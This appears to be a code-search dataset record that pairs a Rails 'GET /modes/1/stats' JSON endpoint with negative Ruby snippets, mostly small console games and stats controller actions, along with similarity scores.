seems that you are both \" + pink(\"equally dumb\") + \". And probably \" + pink(\"equally flamable.\")\n @game_over = true\n else \n if @game_mark == \"player\" \n assign_player\n start_turn\n elsif @game_mark == \"AI\" \n \n if @game.current_player == \"O\" \n assign_player \n @AI.make_move \n elsif @game.current_player == \"X\" \n assign_player \n start_turn \n end\n else \n raise \"Game mark Error\".inspect\n end\n end\n end\n end", "def play(player_move, bot_move)\n\t\tif player_move == bot_move\n\t\t\t:draw\n\t\telsif player_move == :rock && bot_move == :scissors || player_move == :paper && bot_move == :rock || player_move == :scissors && bot_move == :paper\n\t\t\t:player_wins\n\t\telse\n\t\t\t:bot_wins\n\t\tend\n\tend", "def play\n display_welcome_message\n loop do \n human.choose #.choose is an instance method on the Player class, since human is an object of the Player class\n computer.choose\n display_winner\n break unless play_again? #could put play again loop here, but easier to not have double loop here\n end \n display_goodbye_message\n end", "def play\n\t\tputs intro\n\t\tsection_completed = false\n\t\twhile section_completed == false do\n\t\t\tprompt\n\t\t\taction = gets.chomp.downcase #action from users\n\t\t\t\n\t\t\tif action.include? \"overworld\"\n\t\t\t\tsection_completed = true\n\t\t\t\tputs \"You decide to start at Overworld. Good luck Mario!\"\n\t\t\t\tnew_overworld = Overworld.new #create new object of Overworld\n\t\t\t\tnew_overworld.play # call play Overworld!\n\t\t\t\t\n\t\t\telsif action.include? \"suicide\"\n\t\t\t\tputs \"You get nervouse.. It's too big for you to do it all alone!!\"\n\t\t\t\tsuicide\n\t\t\telsif action == \"\"\n\t\t\t\tno_action\n\t\t\telse\n\t\t\t\twrong_input\n\t\t\tend\n\t\t\t\n\t\tend #end of while loop\n\tend", "def start_game\n player = 0\n\n until @winner == true\n say '--------------------'.light_blue\n player = 0 if player >= @score_table.total_players\n play(player, 5)\n player += 1\n end\n\n @score_table.display_winner\n\n display_all_scores\n end", "def game()\n\t\t@taken = 0\n\n\t\twhile true do\n\n\t\t\tif (@taken > 7) then\n\t\t\t\tsystem \"cls\"\n\t\t\t\tputs (\"<=============PLAYER #{@player}=============>\")\n\t\t\t\tputs ()\n\t\t\t\tshow\n\t\t\t\tputs ()\n\t\t\t\treturn 0\n\t\t\tend\n\n\t\t\t# player 1 is assumed to take X and player 2 assumed to take Y\n\t\t\t# this setting can be changed in the turn() method\n\t\t\t@player = 1\n\t\t\tif turn(@player) then\n\t\t\t\tsystem \"cls\"\n\t\t\t\tputs (\"<=============PLAYER #{@player}=============>\")\n\t\t\t\tputs ()\n\t\t\t\tshow\n\t\t\t\tputs ()\n\t\t\t\treturn 1\n\t\t\tend\n\n\t\t\t@player = 2\n\t\t\tif turn(@player) then\n\t\t\t\tsystem \"cls\"\n\t\t\t\tputs (\"<=============PLAYER #{@player}=============>\")\n\t\t\t\tputs ()\n\t\t\t\tshow\n\t\t\t\tputs ()\n\t\t\t\treturn 2\n\t\t\tend\n\n\t\tend\n\tend", "def play\n while !over?\n turn\n end\n\n if won?\n puts \"Congratulations #{winner}!\"\n elsif draw?\n puts \"Cat's Game!\"\n end\n end", "def choose_game\n puts \"Please choose from the following options:\"\n puts \"1) Roulette\"\n puts \"2) Casino War\"\n puts \"3) Blackjack\"\n puts \"4) $1 Slots\"\n puts \"5) Show wallet balance\"\n puts \"6) Cash out and leave\"\n answer = gets.strip.to_i\n case answer\n when 1\n play_roulette\n when 2\n play_casino_war\n when 3\n play_blackjack\n when 4\n play_slots\n when 5\n @person_wallet.show_wallet\n choose_game\n when 6\n @person_wallet.final_wallet\n exit\n else\n puts \"That is not a valid choice. Please choose again.\\n\\n\"\n choose_game\n end\n end", "def game_play\n until game_over\n graphic\n guess\n end\n end", "def play_game(game)\n\n\t\twhile game.totalHills > 1 and game.turn < 1000 \t\n\t \tgame.turn \n\t end\n\tend", "def play(answer)\n until answer.downcase != \"y\"\n puts \"#{$scores[:player1_name]}, I assume that you already know the rules ;)\"\n puts \"Let's go!\"\n r = rand(3)\n computer_rps = $rps[r]\n puts \"Please enter 'R' for Rock, 'P' for Paper or 'S' for Scissors:\"\n player_rps = gets.chomp\n player_rps.upcase!\n case player_rps\n when \"R\"\n player_rps = \"Rock\"\n when \"P\"\n player_rps = \"Paper\"\n when \"S\"\n player_rps = \"Scissors\"\n else\n player_rps = \"Error\"\n end\n if player_rps != \"Error\"\n puts evaluate(player_rps, computer_rps)\n puts get_scores()\n else\n puts \"Error! you have enter something else than R, P or S\"\n end\n puts \"Do you want to play again? y/Y or n/N\"\n answer = gets.chomp\n end\n puts \"Thank you, bye!\"\nend", "def play_turn\n reset_hand\n @winning_player = nil\n unless is_game_over?\n all_play_a_card\n score_battle @hand_played\n else\n end_game\n end\n end", "def play\n until over?\n turn\n end\n\n if draw?\n puts \"Cat's Game!\"\n elsif WIN_COMBINATIONS.include?(won?)\n puts \"Congratulations #{winner}!\"\n end\nend", "def play_game\r\n\r\n player = \"X\" #Make Player X the default player for each\r\n #new game\r\n \r\n noOfMoves = 0 #Reset the value of the variable used to\r\n #keep track of the total number of moves\r\n #made in a game\r\n\r\n #Clear out the game board to get it ready for a new game\r\n clear_game_board\r\n\r\n loop do #Loop forever\r\n\r\n Console_Screen.cls #Clear the display area\r\n \r\n #Call on the method that displays the game board and\r\n #collects player moves\r\n square = display_game_board(player)\r\n \r\n #Assign the selected game board square to the player\r\n #that selected it\r\n $A1 = player if square == \"A1\" \r\n $A2 = player if square == \"A2\" \r\n $A3 = player if square == \"A3\" \r\n $B1 = player if square == \"B1\" \r\n $B2 = player if square == \"B2\" \r\n $B3 = player if square == \"B3\" \r\n $C1 = player if square == \"C1\" \r\n $C2 = player if square == \"C2\" \r\n $C3 = player if square == \"C3\" \r\n\r\n #Keep count of the total number of moves that have\r\n #been made\r\n noOfMoves += 1\r\n\r\n #Call on the method that is responsible for \r\n #determining if the game has been won\r\n winner = check_results(player)\r\n \r\n #See is player X has won\r\n if winner == \"X\" then\r\n #Call on the method that displays the game final\r\n #results\r\n display_game_results(\"Player X Wins!\")\r\n #Keep count of the total number of wins that $xWins has\r\n $xWins += 1\r\n break #Terminate the execution of the loop\r\n end\r\n \r\n #See if player O has won\r\n if winner == \"O\" then\r\n #Call on the method that displays the game final\r\n #results\r\n display_game_results(\"Player O Wins!\")\r\n #Keep count of the total number of wins that $oWins has\r\n $oWins += 1\r\n break #Terminate the execution of the loop\r\n end \r\n \r\n #See if the game has ended in a tie\r\n if noOfMoves == 9 then\r\n #Call on the method that displays the game final\r\n #results\r\n display_game_results(\"Tie\")\r\n break #Terminate the execution of the loop\r\n end\r\n \r\n #If the game has not ended, switch player turns and\r\n #keep playing\r\n if player == \"X\" then\r\n player = \"O\"\r\n else\r\n player = \"X\"\r\n end\r\n \r\n end\r\n \r\n end", "def start_game\n\nai = ['R','P','S'].sample\n\nprompt(\"Choose paper(p), rock(r) or scissor(s)\")\nhuman = gets.chomp.upcase\n\n case\n when human == \"P\" && ai == \"P\"\n prompt(\"You chose Paper and I chose Paper: Tie\")\n when human == \"R\" && ai == \"R\"\n prompt(\"You chose Rock and I chose Rock: Tie\")\n when human == \"S\" && ai == \"S\"\n prompt(\"You chose Scissors and I chose Scissors: Tie\")\n when human == \"P\" && ai == \"R\"\n prompt(\"You chose paper and I chose Rock, you win!\")\n when human == \"R\" && ai == \"S\"\n prompt(\"You chose Rock and I chose Scissors, You win!\")\n when human == \"S\" && ai == \"P\"\n prompt(\"You chose Scissors and I chose Paper, You win!\")\n when human == \"P\" && ai == \"R\"\n prompt(\"You chose Paper and I chose Rock, You win! \")\n when human == \"S\" && ai == \"R\"\n prompt(\"You chose Scissors and I chose Rock, I win!\")\n when human == \"P\" && ai == \"S\"\n prompt(\"You chose Paper and I chose Scissors, I win\")\n when human == \"R\" && ai == \"P\"\n prompt(\"You chose Rock and I chose Paper, I win!\")\n end\nend", "def win_game\n clear_message_box\n @ui.place_text('THY QUEST IS OVER!'.center(20),1,2)\n (0..36).each do |i|\n hero_direction = POS_TURN.rotate!(i <=> 16)[0]\n @ui.place_text(DungeonOfDoom::CHAR_PLAYER[hero_direction], @cur_x+2, @cur_y+6, DungeonOfDoom::C_WHITE_ON_RED)\n sleep 0.1\n @ui.refresh\n end\n ask_question(\"THY SCORE=#{((@treasure*10)+(@gold_count*@stats[:experience])+@stats[:strength]+\n @stats[:vitality]+@stats[:agility]).round}\",MSG_KEY)\n end", "def play\n while !over?\n turn\n end\n if won?\n puts \"Congratulations #{ winner }!\"\n elsif draw?\n puts \"Cat's Game!\"\n else\n puts \"Game over\"\n end\n end", "def play_game2\r\n\r\n player = \"O\" #Make Player O the default player for each\r\n #new game\r\n \r\n noOfMoves = 0 #Reset the value of the variable used to\r\n #keep track of the total number of moves\r\n #made in a game\r\n\r\n #Clear out the game board to get it ready for a new game\r\n clear_game_board\r\n\r\n loop do #Loop forever\r\n\r\n Console_Screen.cls #Clear the display area\r\n \r\n #Call on the method that displays the game board and\r\n #collects player moves\r\n square = display_game_board(player)\r\n \r\n #Assign the selected game board square to the player\r\n #that selected it\r\n $A1 = player if square == \"A1\" \r\n $A2 = player if square == \"A2\" \r\n $A3 = player if square == \"A3\" \r\n $B1 = player if square == \"B1\" \r\n $B2 = player if square == \"B2\" \r\n $B3 = player if square == \"B3\" \r\n $C1 = player if square == \"C1\" \r\n $C2 = player if square == \"C2\" \r\n $C3 = player if square == \"C3\" \r\n\r\n #Keep count of the total number of moves that have\r\n #been made\r\n noOfMoves += 1\r\n\r\n #Call on the method that is responsible for \r\n #determining if the game has been won\r\n winner = check_results(player)\r\n \r\n #See is player X has won\r\n if winner == \"X\" then\r\n #Call on the method that displays the game final\r\n #results\r\n display_game_results(\"Player X Wins!\")\r\n #Keep count of the total number of wins that $xWins has\r\n $xWins += 1\r\n break #Terminate the execution of the loop\r\n end\r\n \r\n #See if player O has won\r\n if winner == \"O\" then\r\n #Call on the method that displays the game final\r\n #results\r\n display_game_results(\"Player O Wins!\")\r\n #Keep count of the total number of wins that $oWins has\r\n $oWins += 1\r\n break #Terminate the execution of the loop\r\n end \r\n \r\n #See if the game has ended in a tie\r\n if noOfMoves == 9 then\r\n #Call on the method that displays the game final\r\n #results\r\n display_game_results(\"Tie\")\r\n break #Terminate the execution of the loop\r\n end\r\n \r\n #If the game has not ended, switch player turns and\r\n #keep playing\r\n if player == \"X\" then\r\n player = \"O\"\r\n else\r\n player = \"X\"\r\n end\r\n \r\n end\r\n \r\n end" ]
[ "0.7543832", "0.7364362", "0.7186017", "0.7106607", "0.7022164", "0.6973125", "0.6966719", "0.69397026", "0.6843158", "0.682128", "0.6787612", "0.6785904", "0.67661244", "0.67656124", "0.6755519", "0.67433053", "0.67382723", "0.6721955", "0.67183226", "0.6715697", "0.67086184", "0.67045605", "0.6701628", "0.66830087", "0.66755784", "0.66675943", "0.6667222", "0.6664599", "0.6658025", "0.66545653", "0.6648976", "0.66463614", "0.6640712", "0.66385055", "0.66329354", "0.6615718", "0.6611216", "0.6596107", "0.65694284", "0.65687364", "0.6567963", "0.65510434", "0.6529753", "0.65270394", "0.65059847", "0.65043503", "0.65004724", "0.6490736", "0.6488374", "0.647555", "0.6468517", "0.6467035", "0.6466353", "0.6466329", "0.646536", "0.64619976", "0.64259267", "0.6418625", "0.64177114", "0.64107513", "0.64103144", "0.6401027", "0.64001393", "0.6395239", "0.6395143", "0.63808364", "0.6380595", "0.63723934", "0.6372313", "0.6356534", "0.63472027", "0.6343844", "0.6335643", "0.6333739", "0.63283527", "0.6327552", "0.6318182", "0.63155144", "0.6310394", "0.63100404", "0.63095164", "0.63013047", "0.63004917", "0.62951964", "0.62937146", "0.6292674", "0.62918043", "0.628616", "0.62848777", "0.6284266", "0.62813735", "0.62797344", "0.6275613", "0.6273737", "0.6273065", "0.6273027", "0.6272934", "0.6270906", "0.62705165", "0.6270066", "0.62691426" ]
0.0
-1
GET /modes/1/stats GET /modes/1/stats.json
def index respond_to do |format| format.html { render 'application/cube_trainer' } format.json do stats = @mode.stats.map(&:to_simple) render json: stats, status: :ok end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def stats\n request :get, \"_stats\"\n end", "def stats\n request :get, \"_stats\"\n end", "def stats\n Client.current.get(\"#{resource_url}/stats\")\n end", "def modes\n @client.get('/Journey/Meta/Modes')\n end", "def stats\n _get(\"/system/stats\") { |json| json }\n end", "def index\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json { render json: current_user.modes }\n end\n end", "def index\n @modes = Mode.all\n end", "def show\n render json: @stat\n end", "def stats\n @stats = time_data SolarReading.all\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(SolarReading.all, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(SolarReading.all, :hash) }\n end\n end", "def stats\n @server.make_json_request('show.stats', tvdbid: @tvdbid)['data']\n end", "def show\n @stat = Stat.find(params[:id])\n\n respond_to do |format|\n format.html { render \"show\" }\n format.json { render json: @stat }\n end\n end", "def show\n @game_stat = GameStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_stat }\n end\n end", "def show\n @stat = Stat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @stat }\n end\n end", "def index\n respond_to do |format|\n format.html\n format.xml { render :xml => @modes.to_xml }\n\t\t\tformat.js { render :text => @modes.to_json }\n end\n end", "def show\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json { render json: @mode }\n end\n end", "def stats\n @stats = time_data MonzoTransaction.all\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(MonzoTransaction.all, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(MonzoTransaction.all, :hash) }\n end\n end", "def stats\n @stats = time_data Gig.all\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(Gig.all, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(Gig.all, :hash) }\n end\n end", "def index\n @stats = Stat.all\n end", "def index\n @stats = Stat.all\n end", "def index\n @stats = Stat.all\n end", "def stats\n @stats = time_data Episode.all\n @cloud = word_cloud Episode.pluck(:title)\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(Episode.all, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(Episode.all, :hash) }\n end\n end", "def stats\n response[\"stats\"]\n end", "def stats\n ## TODO:\n end", "def show\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json { render json: @stat_type }\n end\n end", "def stats\n @stats = {\n total_distance: CyclingEvent.sum(:distance),\n total_time: CyclingEvent.sum(:finish_time),\n average_speed: CyclingEvent.sum(:distance).to_f / CyclingEvent.sum(:finish_time).to_f\n }\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: @stats, callback: params[:callback] }\n format.xml { render xml: @stats }\n end\n end", "def index\n @stats = Stat.all\n end", "def show\n @modes = Mode.all\n @mode = Mode.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mode }\n end\n end", "def get_stats_headers(options={format: \"json\"})\n Rails.cache.fetch([\"/game/stats\", { query: options }], :expires => 1.hour) do\n self.class.get(\"/game/stats\", { query: options })\n end\n end", "def show\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json { render json: @stat.to_simple, status: :ok }\n end\n end", "def raw_stats\n url = URI.parse(stats_url)\n Net::HTTP.start(url.host, url.port) {|http|\n http.request(Net::HTTP::Get.new(url.path))\n }.body\nend", "def stats\n @stats = {}\n @stats[\"online\"] = \"Of course. That's how the internet works.\"\n @stats[\"requested_at\"] = Time.now\n @stats[\"total_tweets\"] = ActiveRecord::Base.connection.execute(\"explain select count(id) from tweets\").all_hashes.first[\"rows\"]\n @stats[\"total_users\"] = ActiveRecord::Base.connection.execute(\"explain select count(id) from users\").all_hashes.first[\"rows\"]\n @stats[\"number_collections\"] = ActiveRecord::Base.connection.execute(\"select count(id) from collections\").fetch_row.first\n @stats[\"researchers_active\"] = ActiveRecord::Base.connection.execute(\"select count(id) from researchers\").fetch_row.first\n @stats[\"scrape_count\"] = ActiveRecord::Base.connection.execute(\"select count(id) from scrapes\").fetch_row.first\n @stats[\"datasets_count\"] = ActiveRecord::Base.connection.execute(\"select count(id) from collections where single_dataset = 1\").fetch_row.first\n @stats[\"analysis_jobs_completed\"] = ActiveRecord::Base.connection.execute(\"select count(id) from analysis_metadatas\").fetch_row.first\n @stats[\"total_graphs\"] = ActiveRecord::Base.connection.execute(\"select count(id) from graphs\").all_hashes.first[\"rows\"]\n @stats[\"total_graph_points\"] = ActiveRecord::Base.connection.execute(\"select count(id) from graph_points\").all_hashes.first[\"rows\"]\n @stats[\"total_edges\"] = ActiveRecord::Base.connection.execute(\"select count(id) from edges\").fetch_row.first\n respond_to do |format|\n format.xml { render :xml => @stats.to_xml }\n format.json { render :json => @stats.to_json }\n end\n end", "def show\n @active_stat = ActiveStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @active_stat }\n end\n end", "def stats\n end", "def stats\n end", "def show\n @backend_stat = Backend::Stat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @backend_stat }\n end\n end", "def stats\n JSON.parse TCPSocket.new(@options[:stats_uri].host,@options[:stats_uri].port).read rescue {}\n end", "def index\n @stats = Stat.all\n @stat = Stat.new\n render html: @stats, json: @stats\n # respond_to do |format|\n # format.html\n # format.json\n # end\n end", "def stats\n year = Analytic.where(\"created_at > ?\", Time.now - 1.year)\n @stats = time_data year\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(year, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(year, :hash) }\n end\n end", "def show\n @stat_misc = StatMisc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stat_misc }\n end\n end", "def stats\n \n end", "def index\n @backend_stats = Backend::Stat.order('created_at ASC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @backend_stats }\n end\n end", "def index\r\n @stats = Stat.all\r\n @statsu = Stat.where(calculation_id: params[:id])\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @stats }\r\n end\r\n end", "def stats(url, options={})\n query = {:url => url}\n query.merge!(options)\n response = handle_response(self.class.get(\"/stats.json\", :query => query))\n Topsy::Stats.new(response)\n end", "def show\r\n @stats = Stat.all\r\n @statsu = Stat.where(calculation_id: params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @stat }\r\n end\r\n end", "def index\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json { render json: StatType::ALL }\n end\n end", "def stats\n @stats = time_data Track.all\n @cloud = word_cloud Track.pluck(:artist), split: false, limit: 60\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(Track.all, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(Track.all, :hash) }\n end\n end", "def index\n render json: usage(params[:type])\n end", "def get_mode\n send_request(FUNCTION_GET_MODE, [], '', 1, 'C')\n end", "def admin_stats\n logger.debug('Getting admin statistics') if @debug\n get('/api/admin/stats')\n end", "def index\n @group_stats = GroupStat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @group_stats }\n end\n end", "def index\n @strategies = Strategy.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @strategies }\n end\n end", "def statistics\n JSON.parse @gapi.statistics.to_json\n end", "def index\n @stats = Stat.all\n\n render json: {data:\n @stats.map {|stat|\n days = range_to_days(stat)\n {\n total_seconds: stat.total_seconds,\n human_readable_total: humanize(stat.total_seconds),\n daily_average: stat.daily_average,\n human_readable_daily_average: humanize(stat.daily_average),\n range: stat.range,\n holidays: stat.holidays,\n days_including_holidays: days,\n days_minus_holidays: days - stat.holidays,\n status: stat.status,\n is_already_updating: stat.is_already_updating,\n is_stuck: stat.is_stuck,\n is_up_to_date: stat.is_up_to_date,\n timeout: stat.timeout,\n editors: stat.editors.map {|e|\n {\n name: e.name,\n total_seconds: e.total_seconds,\n percent: e.percent\n }\n }\n }\n }}\n end", "def index\n @stats = Stat.where(:match_id => params[:match_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stats }\n end\n end", "def stats(options={})\n Resources::Stats.new(self, options)\n end", "def index\n @game = Game.find(current_user.game_setting_id || 1)\n authorize @game\n @levels = @game.levels\n @modes = @game.modes\n @strategies = @game.strategies\n @strategy = Strategy.new\n end", "def stats\n expose Metadata.stats(@oauth_token)\n end", "def stats\n @client.stats\n end", "def show\n respond_to do |format|\n format.html\n format.xml { render :xml => @mode.to_xml }\n\t\t\tformat.js { render :text => @mode.to_json }\n end\n end", "def index\n @player_statistics = PlayerStatistic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @player_statistics }\n end\n end", "def stats\n StatsManager::StatsD.time(Settings::StatsConstants.api['user']['stats']) do\n if params[:id] == current_user.id.to_s\n # A regular user can only view his/her own stats\n @user = current_user\n elsif current_user.is_admin\n # admin users can view anyone's stats\n unless @user = User.where(:id => params[:id]).first\n return render_error(404, \"could not find that user\")\n end\n else\n return render_error(401, \"unauthorized\")\n end\n\n @status = 200\n num_recent_frames = params[:num_frames] ? params[:num_frames].to_i : Settings::UserStats.num_recent_frames\n @stats = GT::UserStatsManager.get_dot_tv_stats_for_recent_frames(@user, num_recent_frames)\n @stats.each {|s| s.frame.creator[:shelby_user_image] = s.frame.creator.avatar_url}\n end\n end", "def statistics\n authorize!(:read_statistics, current_course)\n end", "def show\n @match_stat = MatchStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @match_stat }\n end\n end", "def show\n @player_statistic = PlayerStatistic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @player_statistic }\n end\n end", "def stats\n adapter.stats\n end", "def index\n respond_to do |format|\n format.html {\n render :file => \"public/#{ENV['PROJECT_ID']}/admin.html\"\n }\n format.json {\n @stats = [\n {label: \"User Registration Stats\", data: User.getStatsByDay},\n {label: \"Transcript Edit Stats\", data: TranscriptEdit.getStatsByDay}\n ]\n }\n end\n end", "def stats_find(opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: StatsApi#stats_find ...\"\n end\n \n # resource path\n path = \"/stats\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json', 'application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n result = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Stats>')\n if Configuration.debugging\n Configuration.logger.debug \"API called: StatsApi#stats_find. Result: #{result.inspect}\"\n end\n return result\n end", "def stats\n stats_cache.stats\n end", "def show\n url = Url.find(params[:id].to_i)\n @stats = {\n shortened_url: \"#{request.base_url}/#{url.shortened_url}\",\n original_url: url.original_url,\n usage_count: url.count,\n created_at: url.created_at,\n most_recent_use: url.updated_at\n }\n end", "def get_options_stats_realtime(identifier, opts = {})\n data, _status_code, _headers = get_options_stats_realtime_with_http_info(identifier, opts)\n return data\n end", "def index\n if(params[:mode] != nil && params[:mode] == \"run\")\n render :json => Playoff.exists?(:running => true)\n elsif(params[:running] != nil && params[:running])\n @playoffs = Playoff.where(running: true)\n else\n @playoffs = Playoff.all\n end\n\n end", "def stats(params = {})\n response = client.get \"/_cluster/stats\", params.merge(action: \"cluster.stats\", rest_api: \"cluster.stats\")\n response.body\n end", "def user_stats\n @user = User.find(params[:id])\n @stats = time_data @user.episodes\n @cloud = word_cloud @user.episodes.pluck(:title)\n\n respond_to do |format|\n format.html { render 'stats' }\n format.json { render json: time_data(@user.episodes, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(@user.episodes, :hash) }\n end\n end", "def show\n @player_game_stat = PlayerGameStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @player_game_stat }\n end\n end", "def index\n @statistics = Statistic.all\n end", "def index\n @statistics = Statistic.all\n end", "def index\n @statistics = Statistic.all\n end", "def index\n @system_stats = SystemStat.all\n end", "def show\n @group_stat = GroupStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group_stat }\n end\n end", "def venue_stats(id, options = {})\n get(\"venues/#{id}/stats\", options)\n end", "def get_champ_stats(api_key, id, attributes)\n url = \"https://na1.api.riotgames.com/lol/static-data/v3/champions\"\n url += \"/\" + id.to_s + \"?api_key=\" + api_key + \"&champData=stats\"\n response = HTTParty.get(url)\n stats = {}\n case response.code\n when 200\n stats = response[\"stats\"]\n when 404\n puts \"failed to find stats for the id \" + id.to_s\n return {}\n end\n ret_set = []\n attributes.each do |attr|\n ret_set.push(stats[attr])\n end\n puts ret_set\n return ret_set\nend", "def stats(param_hash={})\n load_config_file! if @set_params.nil? # development mode only\n \n ## merge parameters, converting keys to strings\n params = {}\n @set_params.each { |k,v| params[k.to_s] = v }\n param_hash.each { |k,v| params[k.to_s] = v }\n \n ## allow 'type' param to take arrays; join values with commas\n if params['type'].kind_of?(Array)\n params['type'] = params['type'].map{|v| v.to_s}.join(',')\n end\n \n query_string = params.collect{ |k,v| \"#{k}=#{clicky_encode(v)}\"}.join(\"&\")\n url = URI.parse(BASE_URI)\n res = Net::HTTP.start(url.host, url.port) do |http|\n http.get(url.path + \"?\" + query_string)\n end\n \n return ActiveSupport::JSON.decode(res.body)\n end", "def show\n @town = Town.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @town } # hash returned get_stats does not serialize to_xml\n format.json { render :json => @town.to_json({ :methods => [:current_stats, :url, :public_url]}) }\n end\n end", "def stats\n self[:stats]\n end", "def show\n @calculator = Calculator.find(params[:id])\n @stats= statistics\n\n end", "def stats\n return self.endpoint.stats(self.id)\n end", "def index \n\t\t#check_threads\n\t\tlogger.debug DEVICES.to_yaml\n\t\t# collect modes\n\t\t@modes = Mode.find(:all)\n\t\t@mode = Mode.find(1)\n\t\t# assign client id - how to differentiate between a touch panel and a connected laptop? how to stop other computers from accessing controls? force a local IP somehow?\n\t\t@client_id = \"central\"\n\tend", "def show\n @annual_stat = AnnualStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @annual_stat }\n end\n end", "def activity_statistics\n get(\"/user/#{@user_id}/activities.json\")\n end", "def activity_statistics\n get(\"/user/#{@user_id}/activities.json\")\n end", "def index\n @tw_stats = TwStat.all\n end", "def index\n @runstats = Runstat.all\n end", "def index\n @usages = get_usages\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usages }\n end\n end", "def stats; end", "def stats; end", "def stats(id)\n request(:get, \"/users/#{id}/vm_stats.json\")\n end", "def get_options_stats_realtime_with_http_info(identifier, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: OptionsApi.get_options_stats_realtime ...\"\n end\n # verify the required parameter 'identifier' is set\n if @api_client.config.client_side_validation && identifier.nil?\n fail ArgumentError, \"Missing the required parameter 'identifier' when calling OptionsApi.get_options_stats_realtime\"\n end\n if @api_client.config.client_side_validation && opts[:'source'] && !['realtime', 'delayed'].include?(opts[:'source'])\n fail ArgumentError, 'invalid value for \"source\", must be one of realtime, delayed'\n end\n # resource path\n local_var_path = \"/options/prices/{identifier}/realtime/stats\".sub('{' + 'identifier' + '}', identifier.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'source'] = opts[:'source'] if !opts[:'source'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['ApiKeyAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ApiResponseOptionsStatsRealtime')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OptionsApi#get_options_stats_realtime\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def stats(&blk)\n if block_given?\n websocket.subscribe :stats, &blk\n else\n http.get :stats\n end\n end", "def statistics\n cached = Rails.cache.read(\"stats\")\n return cached unless cached.nil?\n\n stats = {\n user_count: User.select(:id).count,\n completed_plan_count: Plan.select(:id).count,\n institution_count: Org.participating.select(:id).count\n }\n cache_content(\"stats\", stats)\n stats\n end", "def list_stats\r\n puts \"#{@name} Stats:\"\r\n puts \"Total HP: #{@hp}\"\r\n puts \"Class: #{@job}\"\r\n puts \"Total Strength: #{@strength}\"\r\n puts \"Total Speed: #{@speed}\"\r\n end" ]
